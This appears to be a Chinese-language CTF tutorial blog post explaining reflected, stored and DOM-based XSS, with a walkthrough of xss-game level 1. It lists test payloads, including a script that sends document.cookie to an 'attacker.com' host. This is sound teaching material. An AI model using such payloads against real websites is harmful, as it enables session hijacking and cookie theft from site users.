iT邦幫忙

2025 iThome 鐵人賽

DAY 23
0

想必大家都有在網站上「留言互動」或看到頁面會顯示自己輸入內容的經驗吧?

像是在心得區打句話、在商品評論留評價,然後畫面就把你那句話原封不動顯示出來──看似無害,卻可能藏著危險

什麼是 XSS?

XSS(Cross-Site Scripting)是指攻擊者把惡意 JavaScript(或其他可在瀏覽器執行的程式碼)注入到網站,當其他使用者或目標瀏覽該頁面時,瀏覽器會執行這段惡意程式碼,進而造成資料洩漏或會話劫持等後果。

在 CTF/練習場景裡,我們通常用 XSS 來做:

  • 竊取 flag(透過讀取頁面或 cookie),
  • 執行 DOM 操作(自動點按、填表),
  • OOB(out-of-band)把資料傳回自己控制的伺服器(例如用 imgfetch

XSS 的常見類型

1. Reflected XSS(反射型)

使用者輸入被即時回顯在回應中(通常透過 GET/POST 參數),例如搜尋結果、錯誤訊息等。攻擊常用 crafted URL 引誘受害者點擊,惡意腳本就會在受害者瀏覽器執行。

簡單測試:在 URL 或表單參數插入 <script>alert(1)</script>,看頁面是否彈窗或回顯。

2. Stored XSS(儲存型 / Persistent)

惡意腳本被儲存在伺服器(例如留言板、profile、留言欄),之後所有檢視該內容的使用者都會執行這段腳本。這種影響最大,因為攻擊可擴散到多名使用者。

情境:在留言板貼上 <img src=x onerror=alert(1)> → 其他人刷新該頁就會被觸發。

3. DOM-based XSS(DOM 型)

漏洞不在伺服器端,而是在前端 JavaScript 處理 DOM 或 location/hash、innerHTML 等時把不可信輸入直接插入 DOM。這類 XSS 只在客戶端發生,伺服器不會記錄惡意 payload。

測試點:查看前端程式碼(或在 console 動態改 location.hash)看是否把 location.hash / location.search 等直接寫進 innerHTMLdocument.write 等。

常見快速 payload

這些 payload 用於測試與練習。實戰時請避免對未授權系統使用。

  • 最簡單(探測):

    <script>alert(1)</script>
    
  • 圖片 onerror(繞過常見過濾):

    <img src=x onerror=alert(1)>
    
  • 透過 event handler:

    
    <svg onload=alert(1)>
    

  • DOM 型測試(location.hash):

    #<script>alert(1)</script> 加到 URL,看前端是否插入

  • 把資料傳回你可控伺服器:

    <script>new Image().src='https://attacker.com/?c='+document.cookie</script>
    

    或用 fetch()XMLHttpRequest。在 CTF 裡通常搭配可監控的回收域名

接下來來看今天的題目吧(picoCTF好像沒有XSS題TT)

xss-game - level1

https://ithelp.ithome.com.tw/upload/images/20250918/20169105sNYGypqL8u.png

打開之後有一些說明之類的,下面的網頁就是我們的目標

有一個可以輸入的地方,嘗試輸入最基礎的payload<script>alert(1)</script>

https://ithelp.ithome.com.tw/upload/images/20250918/20169105vHXlgBFeJ2.png

攻擊成功這一關就過了

總共有六關,大家一起去試一試吧~


以上就是今天的內容啦

想看更多,記得明天再來喔~


上一篇
Day 22 - File Upload
下一篇
Day 24 - SSTI
系列文
一天一題picoCTF:從Easy開始的新手生活27
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言